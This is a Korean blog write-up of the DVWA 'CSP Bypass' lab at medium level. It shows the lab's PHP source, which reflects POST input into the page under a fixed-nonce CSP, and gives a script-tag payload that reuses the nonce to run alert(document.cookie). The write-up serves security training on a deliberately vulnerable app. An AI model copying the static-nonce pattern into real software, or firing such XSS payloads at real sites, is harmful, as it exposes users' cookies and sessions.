본문 바로가기

웹해킹/DVWA

DVWA CSP Bypass(medium) 롸업

창은 low레벨과 똑같다.

<?php

$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";

header($headerCSP);

// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");

# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    " . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
    <input size="50" type="text" name="include" value="" id="include" />
    <input type="submit" value="Include" />
</form>
';

구성 코드이다.

 

low 레벨에서는 headerCSP에서 허용되는 url들이 있었는데 medium레벨에서는 모두 사라졌다.

대신에 unsafe-inline으로 nonce에 값을 저장해 놓고 저 값을 가지고 있는 스크립트만 실행될 수 있게 만들었다.

 

<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(document.cookie)</script>

이런 식으로 nonce의 값을 지정해주고 스크립트를 실행하면 된다.

 

'웹해킹 > DVWA' 카테고리의 다른 글

DVWA Authorisation Bypass(medium) 롸업  (0) 2023.11.18
DVWA JavaScript(medium) 롸업  (0) 2023.11.17
DVWA XSS(Stored)(medium) 롸업  (0) 2023.11.17
DVWA XSS(Reflected)(medium) 롸업  (0) 2023.11.16
DVWA XSS(DOM)(medium) 롸업  (0) 2023.11.16